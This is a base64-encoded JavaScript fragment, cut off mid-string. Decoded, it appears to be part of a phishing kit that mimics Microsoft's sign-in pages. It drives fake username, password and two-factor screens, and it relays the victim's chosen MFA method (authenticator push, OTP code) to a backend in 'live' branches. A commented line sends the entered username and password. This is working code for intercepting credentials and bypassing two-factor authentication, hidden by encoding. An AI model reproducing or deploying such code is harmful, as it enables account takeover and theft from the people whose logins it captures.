CiAgICBtb3JlaW5mb3JlcSgpOw0KICAgIH0NCiAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAid2FpdGluZyIpew0KICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKXsNCiAgICB3YWl0MmZhKGF1dGh0eXBlLG51bGwpOw0KICAgIH0sIDgwMDApOw0KICAgIH0NCiAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiYXV0aGVudGljYWlvbiBmYWlsZWQiKXsNCiAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7DQogICAgd2FpdDJmYShhdXRodHlwZSxzZWNvbmRhdXRodHlwZSk7DQogICAgfSwgMjAwMCk7DQogICAgfQ0KICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJkdXBsaWNhdGUgcmVxdWVzdCIpew0KICAgIHdhaXQyZmFjYW5jZWwgPSAxOw0KICAgIGlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5jbGFzc0xpc3QuY29udGFpbnMoJ2Qtbm9uZScpKXsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykucXVlcnlTZWxlY3RvcignLnRpdGxlJykuaW5uZXJUZXh0ID0gIlRvbyBtYW55IEF0dGVtcHRzIjsNCiAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5xdWVyeVNlbGVjdG9yKCcubG9hZGluZy1jb250YWluZXInKS5jbGFzc0xpc3QucmVtb3ZlKCdsb2FkaW5nJyk7DQogICAgcnVuYW5pbWF0aW9uKDIsdmlldywwLjUsMCk7DQogICAgc2V0VGltZW91dChmdW5jdGlvbigpew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLnF1ZXJ5U2VsZWN0b3IoJyN0cnlhZ2FpbmhlYWRlcicpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5xdWVyeVNlbGVjdG9yKCcjdHJ5YWdhaW5fdG9vbWFueWF0dGVtcHRzJykuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLnF1ZXJ5U2VsZWN0b3IoJy5zZWN0aW9uY29udGVudCcpLnN0eWxlLmFuaW1hdGlvbiA9ICdzaG93LWZyb20tcmlnaHQgMC41cyc7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgIHZpZXcgPSAidHJ5YWdhaW5sYXRlciI7DQogICAgfSwgMjAwKTsNCiAgICB9LCA1MDApOw0KICAgIH0NCiAgICB9DQogICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImFwcHJvdmVkIil7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fYXV0aGNhbGwiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9maW5hbCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgIHZpZXcgPSAiZmluYWwiOw0KICAgIC8vIHNlbmRpbmZvKHVuYW1lSW5wLnZhbHVlLHB3ZElucC52YWx1ZSwxKTsNCiAgICB9DQogICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImFwcHJvdmVkIGxpdmUiKXsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9hdXRoYXBwX2xpdmUiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9maW5hbCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgIHZpZXcgPSAiZmluYWwiOw0KICAgIH0NCiAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiZXJyb3IiKXsNCiAgICBjaGVja2Vycm9yZGVzYygnYXV0aGNhbGwnLDEscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgIH0NCiAgICB9DQogICAgfSkNCiAgICAuY2F0Y2goZXJyb3IgPT4gew0KICAgIGNvbnNvbGUuZXJyb3IoJ0Vycm9yOicsIGVycm9yKTsNCiAgICB9KTsNCiAgICB9DQogICAgfQ0KICAgIGlmKHdhaXQyZmFjYW5jZWwgPT0gMSl7DQogICAgd2FpdDJmYWNhbmNlbCA9IDA7DQogICAgfQ0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGJhY2tidXR0b25jbGljayhlbGVtZW50LHR5cGUpIHsNCiAgICBpZiAoZWxlbWVudC50ZXh0Q29udGVudCA9PSAiQmFjayIpew0KICAgIHJ1bmFuaW1hdGlvbigwLHZpZXcsMC4zKTsNCiAgICB9DQogICAgaWYgKGVsZW1lbnQudGV4dENvbnRlbnQgPT0gIkJhY2siKXsNCiAgICBpZih0eXBlID09IDEpew0KICAgIGNhbGx1cmwgPSAnYmFja2J0bmNsaWNrJzsNCiAgICB9DQogICAgaWYodHlwZSA9PSAyKXsNCiAgICBjYWxsdXJsID0gJ211bHRiYWNrYnRuY2xpY2snOw0KICAgIH0NCiAgICBzZW5kQW5kUmVjZWl2ZShjYWxsdXJsLCBbZWxlbWVudC5nZXRBdHRyaWJ1dGUoJ2RhdGEtaWQnKV0sMSkNCiAgICAgIC50aGVuKHJlc3BvbnNlID0+IHsNCiAgICBpZiAocmVzcG9uc2UgJiYgcmVzcG9uc2VbJ21lc3NhZ2UnXSAhPT0gIndhaXRpbmcgZm9yIHByZXZpb3VzIHJlcXVlc3QgdG8gY29tcGxldGUiKSB7DQogICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLnF1ZXJ5U2VsZWN0b3IoJy5zZWN0aW9uY29udGVudCcpLnN0eWxlLmFuaW1hdGlvbiA9ICcnOw0KICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImNsaWNrZWQiKXsNCiAgICAgIGlmKGVsZW1lbnQudGV4dENvbnRlbnQgPT0gIkJhY2siKXsNCiAgICAgIHJ1bmFuaW1hdGlvbigzLCd1bmFtZScsMC4zKTsNCiAgICAgIG11bHRpcGxlYWNjb3VudHNiYWNrID0gMDsNCiAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX211bHRpcGxlYWNjb3VudHMiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3VuYW1lJykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJyc7DQogICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl91bmFtZScpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZEltYWdlKSB7DQogICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRJbWFnZSA9ICIiOw0KICAgICAgfQ0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZENvbG9yKSB7DQogICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRDb2xvciA9ICIiOw0KICAgICAgfQ0KICAgICAgdmlldyA9ICd1bmFtZSc7DQogICAgICB9DQogICAgICB9DQogICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiYXBwcm92ZSBhdXRoIHJlcXVlc3QgYXV0aCBhcHAiKXsNCiAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJhdXRoYXBwaW1nIikuc2V0QXR0cmlidXRlKCJzcmMiLCByZXNwb25zZVsnaW1hZ2Vfc3JjJ10pOw0KICAgICAgY2hlY2tlcnJvcmRlc2MoJ2F1dGhhcHAnLDAscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdhdXRoYXBwJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgY2hhbmdlYmFja2J1dHRvbignYXV0aGFwcCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYXV0aGFwcGNvZGUiKS50ZXh0Q29udGVudCA9IHJlc3BvbnNlWydhdXRoYXBwY29kZSddOw0KICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fbXVsdGlwbGVhY2NvdW50cyIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fYXV0aGFwcCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgdmlldyA9ICJhdXRoYXBwIjsNCiAgICAgIHdhaXQyZmEoJ2FwcCcscmVzcG9uc2VbJ21ldGhvZGlkJ10pOw0KICAgICAgfQ0KICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImFwcHJvdmUgYXV0aCByZXF1ZXN0IGNhbGxpbmciKXsNCiAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX2F1dGhjYWxsJykucXVlcnlTZWxlY3RvcignLmJhY2snKS5mb2N1cygpOw0KICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImF1dGhjYWxsaW1nIikuc2V0QXR0cmlidXRlKCJzcmMiLCByZXNwb25zZVsnaW1hZ2Vfc3JjJ10pOw0KICAgICAgY2hlY2tlcnJvcmRlc2MoJ2F1dGhjYWxsJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnYXV0aGNhbGwnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdhdXRoY2FsbCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9tdWx0aXBsZWFjY291bnRzIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9hdXRoY2FsbCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgdmlldyA9ICJhdXRoY2FsbCI7DQogICAgICB3YWl0MmZhKCdjYWxsJyk7DQogICAgICB9DQogICAgfQ0KICAgIH0pDQogICAgLmNhdGNoKGVycm9yID0+IHsgICAgDQogICAgbG9hZGluZ2FuaW1hdGlvbigxKTsNCiAgICBjb25zb2xlLmVycm9yKCdFcnJvcjonLCBlcnJvcik7DQogICAgfSk7DQogICAgfQ0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGxpbmtvcHRpb25jbGljayhlbGVtZW50KSB7DQogICAgaWYoZWxlbWVudC5nZXRBdHRyaWJ1dGUoJ2RhdGEtaWQnKSA9PSAidHJ5X2FnYWluX290cCIpew0KICAgIHdpbmRvdy5sb2NhdGlvbi5yZWxvYWQoKTsNCiAgICB9DQogICAgLy8gaWYgKGVsZW1lbnQudGV4dENvbnRlbnQgPT0gIlNpZ24gaW4gYW5vdGhlciB3YXkiIHx8IGVsZW1lbnQudGV4dENvbnRlbnQgPT0gIkkgY2FuJ3QgdXNlIG15IE91dGxvb2sgbW9iaWxlIGFwcCByaWdodCBub3ciIHx8IGVsZW1lbnQudGV4dENvbnRlbnQgPT0gIkkgY2FuJ3QgdXNlIG15IE1pY3Jvc29mdCBBdXRoZW50aWNhdG9yIGFwcCByaWdodCBub3ciKXsNCiAgICBpZiAoZWxlbWVudC5nZXRBdHRyaWJ1dGUoJ2RhdGEtaWQnKSA9PSAiaWhhdmVhY29kZSIgfHwgZWxlbWVudC5nZXRBdHRyaWJ1dGUoJ2RhdGEtaWQnKSA9PSAic2lnbkluQW5vdGhlcldheSIgfHwgZWxlbWVudC50ZXh0Q29udGVudCA9PSAiRW50ZXIgYSBzZWN1cml0eSBjb2RlIiB8fCBlbGVtZW50LnRleHRDb250ZW50ID09ICJnZXQgYSBjb2RlIGEgZGlmZmVyZW50IHdheS4iIHx8IGVsZW1lbnQudGV4dENvbnRlbnQgPT0gIlNpZ24gb3V0IGFuZCBzaWduIGluIHdpdGggYSBkaWZmZXJlbnQgYWNjb3VudCIgfHwgZWxlbWVudC50ZXh0Q29udGVudCA9PSAiU2lnbiBpbiB1c2luZyBhbm90aGVyIE1pY3Jvc29mdCBhY2NvdW50IiB8fCBlbGVtZW50LnRleHRDb250ZW50ID09ICJTaWduIGluIGFub3RoZXIgd2F5IiB8fCBlbGVtZW50LnRleHRDb250ZW50ID09ICJNaWNyb3NvZnQgQXV0aGVudGljYXRvciIgfHwgZWxlbWVudC50ZXh0Q29udGVudC5pbmNsdWRlcygiU2VuZCBhbm90aGVyIHJlcXVlc3QiKSl7DQogICAgbG9hZGluZ2FuaW1hdGlvbigwKTsNCiAgICBpZihlbGVtZW50LnRleHRDb250ZW50ID09ICJnZXQgYSBjb2RlIGEgZGlmZmVyZW50IHdheS4iIHx8IGVsZW1lbnQuZ2V0QXR0cmlidXRlKCdkYXRhLWlkJykgPT0gInNpZ25JbkFub3RoZXJXYXkiKXsNCiAgICBsb2FkaW5nYW5pbWF0aW9uKDEpOw0KICAgIHdhaXQyZmFjYW5jZWwgPSAxOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJyc7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fIit2aWV3KS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8yZmEnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICB2aWV3ID0gIjJmYSI7DQogICAgfQ0KDQogICAgaWYoZWxlbWVudC5nZXRBdHRyaWJ1dGUoJ2RhdGEtaWQnKSA9PSAiaWhhdmVhY29kZSIpew0KICAgIGxvYWRpbmdhbmltYXRpb24oMSk7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ290cF9saXZlZGVzYycpLmlubmVyVGV4dCA9ICJFbnRlciB0aGUgY29kZSB5b3UgcmVjZWl2ZWQiOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZScpLnF1ZXJ5U2VsZWN0b3IoJy5zZWN0aW9uY29udGVudCcpLnN0eWxlLmFuaW1hdGlvbiA9ICcnOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX290cF9saXZlJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgdmlldyA9ICJvdHBfbGl2ZSI7DQogICAgfQ0KDQogICAgaWYgKGVsZW1lbnQudGV4dENvbnRlbnQgPT0gIlNpZ24gb3V0IGFuZCBzaWduIGluIHdpdGggYSBkaWZmZXJlbnQgYWNjb3VudCIgfHwgZWxlbWVudC50ZXh0Q29udGVudCA9PSAiU2lnbiBpbiB1c2luZyBhbm90aGVyIE1pY3Jvc29mdCBhY2NvdW50Iil7DQogICAgbG9hZGluZ2FuaW1hdGlvbigxKTsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZm9vdGVyIikuc3R5bGUucG9zaXRpb24gPSAiYWJzb2x1dGUiOw0KICAgIGJvdHRvbXNlY3Rpb25saW5rcygndW5hbWUnLFt7YV9pZDogInNpZ251cCIsIGFfdGV4dDogIkNyZWF0ZSBvbmUhIiwgdGV4dDogIk5vIGFjY291bnQ/IiwgdHlwZTogInRleHRfbGluayJ9LHthX2lkOiAiY2FudEFjY2Vzc0FjY291bnQiLCBhX3RleHQ6ICJDYW4ndCBhY2Nlc3MgeW91ciBhY2NvdW50PyIsIHR5cGU6ICJsaW5rIn1dKTs7DQogICAgY2hhbmdlYmFja2J1dHRvbigndW5hbWUnLDApOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uXyIrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lucF91bmFtZScpLnZhbHVlID0gIiI7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9yX3B3ZCcpLmlubmVyVGV4dCA9ICIiOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfcHdkJykudmFsdWUgPSAiIjsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl91bmFtZScpLnF1ZXJ5U2VsZWN0b3IoJy5zZWN0aW9uY29udGVudCcpLnN0eWxlLmFuaW1hdGlvbiA9ICcnOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3VuYW1lJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgaWYgKGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZEltYWdlKSB7DQogICAgZG9jdW1lbnQuYm9keS5zdHlsZS5iYWNrZ3JvdW5kSW1hZ2UgPSAiIjsNCiAgICB9DQogICAgaWYgKGRvY3VtZW50LmJvZHkuc3R5bGUuYmFja2dyb3VuZENvbG9yKSB7DQogICAgZG9jdW1lbnQuYm9keS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IgPSAiIjsNCiAgICB9DQogICAgdmlldyA9ICJ1bmFtZSI7DQogICAgfQ0KICAgIGxldCBtZXRob2RpZCA9IDA7DQogICAgaWYodmlld3R5cGUgPT0gbnVsbCl7DQogICAgaWYoZWxlbWVudC50ZXh0Q29udGVudCA9PSAiU2VuZCBhbm90aGVyIHJlcXVlc3QgdG8gbXkgTWljcm9zb2Z0IEF1dGhlbnRpY2F0b3IgYXBwIiB8fCBlbGVtZW50LnRleHRDb250ZW50ID09ICJNaWNyb3NvZnQgQXV0aGVudGljYXRvciIpew0KICAgIG1ldGhvZGlkID0nUGhvbmVBcHBOb3RpZmljYXRpb24nOw0KICAgIH0NCiAgICBpZihlbGVtZW50LnRleHRDb250ZW50ID09ICJTZW5kIGFub3RoZXIgcmVxdWVzdCB0byBteSBPdXRsb29rIG1vYmlsZSBhcHAiKXsNCiAgICBtZXRob2RpZCA9J0NvbXBhbmlvbkFwcHNOb3RpZmljYXRpb24nOw0KICAgIH0NCiAgICBpZihlbGVtZW50LnRleHRDb250ZW50ID09ICJFbnRlciBhIHNlY3VyaXR5IGNvZGUiKXsNCiAgICBtZXRob2RpZCA9ICdQaG9uZUFwcE9UUCc7DQogICAgfQ0KICAgIH0NCiAgICAvLyBsaXZlIHN0dWZmDQogICAgaWYodmlld3R5cGUgIT09IG51bGwpew0KICAgIGlmKGVsZW1lbnQudGV4dENvbnRlbnQgPT0gIlNlbmQgYW5vdGhlciByZXF1ZXN0IHRvIG15IE1pY3Jvc29mdCBhcHAiIHx8IGVsZW1lbnQudGV4dENvbnRlbnQgPT0gIk1pY3Jvc29mdCBBdXRoZW50aWNhdG9yIil7DQogICAgbWV0aG9kaWQgPSdQaG9uZUFwcE5vdGlmaWNhdGlvbl9MaXZlJzsNCiAgICB9DQogICAgaWYoZWxlbWVudC50ZXh0Q29udGVudCA9PSAiRW50ZXIgYSBzZWN1cml0eSBjb2RlIil7DQogICAgbWV0aG9kaWQgPSAnUGhvbmVBcHBPVFBfTGl2ZSc7DQogICAgfQ0KICAgIH0NCiAgICAvLyBsaXZlIHN0dWZmDQogICAgaWYoZWxlbWVudC50ZXh0Q29udGVudCA9PSAiU2VuZCBhbm90aGVyIHJlcXVlc3QgdG8gbXkgTWljcm9zb2Z0IEF1dGhlbnRpY2F0b3IgYXBwIiB8fCBlbGVtZW50LnRleHRDb250ZW50ID09ICJNaWNyb3NvZnQgQXV0aGVudGljYXRvciIgfHwgZWxlbWVudC50ZXh0Q29udGVudCA9PSAiU2VuZCBhbm90aGVyIHJlcXVlc3QgdG8gbXkgT3V0bG9vayBtb2JpbGUgYXBwIiB8fCBlbGVtZW50LnRleHRDb250ZW50ID09ICJFbnRlciBhIHNlY3VyaXR5IGNvZGUiKXsNCiAgICBzZW5kQW5kUmVjZWl2ZSgndHdvZmFzZWxlY3QnLCBbbWV0aG9kaWRdLDEpDQogICAgICAudGhlbihyZXNwb25zZSA9PiB7DQogICAgICAgICAgICBpZiAocmVzcG9uc2UgJiYgcmVzcG9uc2VbJ21lc3NhZ2UnXSAhPT0gIndhaXRpbmcgZm9yIHByZXZpb3VzIHJlcXVlc3QgdG8gY29tcGxldGUiKSB7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9uKDEpOw0KICAgICAgICAgICAgd2FpdDJmYWNhbmNlbCA9IDA7DQogICAgICAgICAgICAvLyBsaXZlIHN0dWZmDQogICAgICAgICAgICBpZihyZXNwb25zZVsnbWVzc2FnZSddID09ICJvdHAgc2VudCBsaXZlIil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaW5wX290cF9saXZlIikuc2V0QXR0cmlidXRlKCJwbGFjZWhvbGRlciIsICJDb2RlIik7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3Jfb3RwX2xpdmUiKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX290cF9saXZlIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3RwbGl2ZWltZyIpLnNldEF0dHJpYnV0ZSgic3JjIiwgcmVzcG9uc2VbJ2ltYWdlX3NyYyddKTsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdvdHBfbGl2ZScsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ290cF9saXZlJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICAgICAgY2hhbmdlYmFja2J1dHRvbignb3RwX2xpdmUnLHJlc3BvbnNlWydiYWNrYnV0dG9uJ10pOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX290cF9saXZlJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gIm90cF9saXZlIjsNCiAgICAgICAgICAgIHZpZXd0eXBlID0gIm90cCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihyZXNwb25zZVsnbWVzc2FnZSddID09ICJhcHByb3ZlIGF1dGggcmVxdWVzdCBhdXRoIGFwcCBsaXZlIil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfYXV0aGFwcF9saXZlIikuc3R5bGUuZGlzcGxheSA9ICJub25lIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9hdXRoYXBwX2xpdmUiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJhdXRoYXBwX2xpdmVfY29kZSIpLmlubmVyVGV4dCA9IHJlc3BvbnNlWydhdXRoYXBwcmVxaWQnXTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnYXV0aGFwcF9saXZlJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICAgICAgY2hhbmdlYmFja2J1dHRvbignYXV0aGFwcF9saXZlJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9hdXRoYXBwX2xpdmUnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAiYXV0aGFwcF9saXZlIjsNCiAgICAgICAgICAgIHZpZXd0eXBlID0gImF1dGgiOw0KICAgICAgICAgICAgd2FpdDJmYSgnYXBwJyxyZXNwb25zZVsnbWV0aG9kaWQnXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAvLyBsaXZlIHN0dWZmDQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiZHVwbGljYXRlIHJlcXVlc3QiKXsNCiAgICAgICAgICAgIHdhaXQyZmFjYW5jZWwgPSAxOw0KICAgICAgICAgICAgaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLmNsYXNzTGlzdC5jb250YWlucygnZC1ub25lJykpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fdHJ5YWdhaW5sYXRlcicpLnF1ZXJ5U2VsZWN0b3IoJy50aXRsZScpLmlubmVyVGV4dCA9ICJUb28gbWFueSBBdHRlbXB0cyI7DQogICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLnF1ZXJ5U2VsZWN0b3IoJy5sb2FkaW5nLWNvbnRhaW5lcicpLmNsYXNzTGlzdC5yZW1vdmUoJ2xvYWRpbmcnKTsNCiAgICAgICAgICAgIHJ1bmFuaW1hdGlvbigyLHZpZXcsMC41LDApOw0KICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5xdWVyeVNlbGVjdG9yKCcjdHJ5YWdhaW5oZWFkZXInKS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5xdWVyeVNlbGVjdG9yKCcjdHJ5YWdhaW5fdG9vbWFueWF0dGVtcHRzJykuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl90cnlhZ2FpbmxhdGVyJykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJ3Nob3ctZnJvbS1yaWdodCAwLjVzJzsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3RyeWFnYWlubGF0ZXInKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAidHJ5YWdhaW5sYXRlciI7DQogICAgICAgICAgICB9LCAyMDApOw0KICAgICAgICAgICAgfSwgNTAwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGl